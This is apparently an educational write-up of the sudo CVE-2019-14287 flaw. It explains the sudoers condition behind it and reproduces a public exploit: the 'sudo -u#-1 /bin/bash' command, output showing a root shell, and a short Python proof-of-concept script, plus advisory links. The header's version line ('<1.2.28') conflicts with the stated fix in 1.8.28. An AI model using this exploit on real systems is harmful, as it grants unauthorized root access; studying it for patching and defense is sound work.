The way the sudoers file is setup is designed so that we give the user a right to execute some sort of limited sudo. The key here is that the vulnerable user has to be given access to run their command as any arbitrary user. This is where the “ALL” keyword comes into play. If we have “ALL” for our user in our visudo file, then we will be able to run the designated command as root even if inside the file we are specifically don’t we aren’t allowed to. The reason that we need the “ALL” is that if, for instance, instead of “ (ALL, !root) ALL” we had “(!root) ALL”, then our exploit would not work. This is because in the system calls that sudo uses setreuid and setresuid to change privilege and users; they will actually return as root for sudo to run the function as. So, we need the “ALL” to let us run the command as any arbitrary user (in our case root) in order for our exploit to work, otherwise the visudo file will still blocked our attempt at running the command and say we are not allowed to run the command.

# Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo <1.2.28
# Tested on Linux
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
# Fix : The bug is fixed in sudo 1.8.28
# CVE : 2019-14287

'''Check for the user sudo permissions

sudo -l

User hacker may run the following commands on kali:
    (ALL, !root) /bin/bash

So user hacker can't run /bin/bash as root (!root)
User hacker sudo privilege in /etc/sudoers

# User privilege specification
root    ALL=(ALL:ALL) ALL

hacker ALL=(ALL,!root) /bin/bash
With ALL specified, user hacker can run the binary /bin/bash as any user

EXPLOIT:

sudo -u#-1 /bin/bash

Example :

hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#

Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id and /bin/bash is executed with root permission

Proof of Concept Code :

How to use :
python3 sudo_exploit.py

#!/usr/bin/python3
import os

#Get current username
username = input("Enter current username :")

#check which binary the user can run with sudo
os.system("sudo -l > priv")
os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")
binary_file = open("binary")
binary= binary_file.read()

#execute sudo exploit
print("Lets hope it works")
os.system("sudo -u#-1 "+ binary)

                    

Theoretically, In practice, with vulnerable versions of Sudo you can get around this restriction to execute the programs as root anyway, which is obviously great for privilege escalation! With the above configuration, using sudo -u#0 "command" (the UID of root is always 0) would not work, as we're not allowed to execute commands as root. If we try to execute commands as user 0 we will be given an error.

Joe Vennix found that if you specify a UID of -1 (or its unsigned equivalent: 4294967295), Sudo would incorrectly read this as being 0 (i.e. root). This means that by specifying a UID of -1 or 4294967295, you can execute a command as root, despite being explicitly prevented from doing so. It is worth noting that this will only work if you've been granted non-root sudo permissions for the command, as in the configuration above.

• https://www.sudo.ws/alerts/minus_1_uid.html
• https://security-tracker.debian.org/tracker/CVE-2019-14287
• https://programmer.ink/think/cve-2019-14287-linux-sudo-vulnerability-analysis.html
• https://www.exploit-db.com/exploits/47502